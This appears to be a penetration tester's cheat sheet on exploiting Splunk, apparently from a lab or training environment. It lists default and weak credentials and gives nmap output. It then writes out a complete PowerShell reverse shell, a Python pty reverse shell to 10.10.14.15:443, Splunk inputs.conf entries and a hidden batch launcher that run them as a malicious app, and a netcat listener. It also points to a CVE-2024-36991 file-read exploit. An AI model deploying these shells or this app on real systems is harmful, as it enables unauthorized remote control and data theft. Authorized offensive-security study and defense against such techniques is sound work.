Splunk

Splunk exploitation

Discovery/Footprinting

The Splunk web server runs by default on port 8000. On older versions of Splunk, the default credentials are admin:changeme

If the default credentials do not work, it is worth checking for common weak passwords such as admin, Welcome, Welcome1, Password123, etc.

$ sudo nmap -sV 10.129.201.50

Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-22 08:43 EDT
Nmap scan report for 10.129.201.50
Host is up (0.11s latency).
Not shown: 991 closed ports
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp open  ssl/http      Splunkd httpd
8080/tcp open  http          Indy httpd 17.3.33.2830 (Paessler PRTG bandwidth monitor)
8089/tcp open  ssl/http      Splunkd httpd
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.22 seconds

Enumeration

The Splunk Enterprise trial converts to a free version after 60 days, which doesn’t require authentication.

Abusing Built-In Functionality

Popping shells on Splunkn00py1

GitHub - TBGSecurity/splunk_shells: Weaponizing Splunk with reverse and bind shells.GitHub

See OffShore WU

Reverse shell

GitHub - 0xjpuff/reverse_shell_splunk: A simple splunk package for obtaining reverse shells on both Windows and most *nix systems.GitHub

Windows

run.ps1

#A simple and small reverse shell. Options and help removed to save space. 
#Uncomment and change the hardcoded IP address and port number in the below line. Remove all help comments as well.
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.15',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

$ cat inputs.conf 

[script://./bin/rev.py]
disabled = 0  
interval = 10  
sourcetype = shell 

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

.bat file

@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
Exit

tar -cvzf updater.tar.gz splunk_shell/

sudo nc -lnvp 443

Linux

Edit the rev.py Python script before creating the tarball and uploading the custom malicious app

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

CVE-2024-36991 - Read /etc/passwd

GitHub - bigb0x/CVE-2024-36991: POC for CVE-2024-36991: This exploit will attempt to read Splunk /etc/passwd file.GitHub

Exploit

Splunk

Resources

Penetration Testing on SplunkHacking Articles

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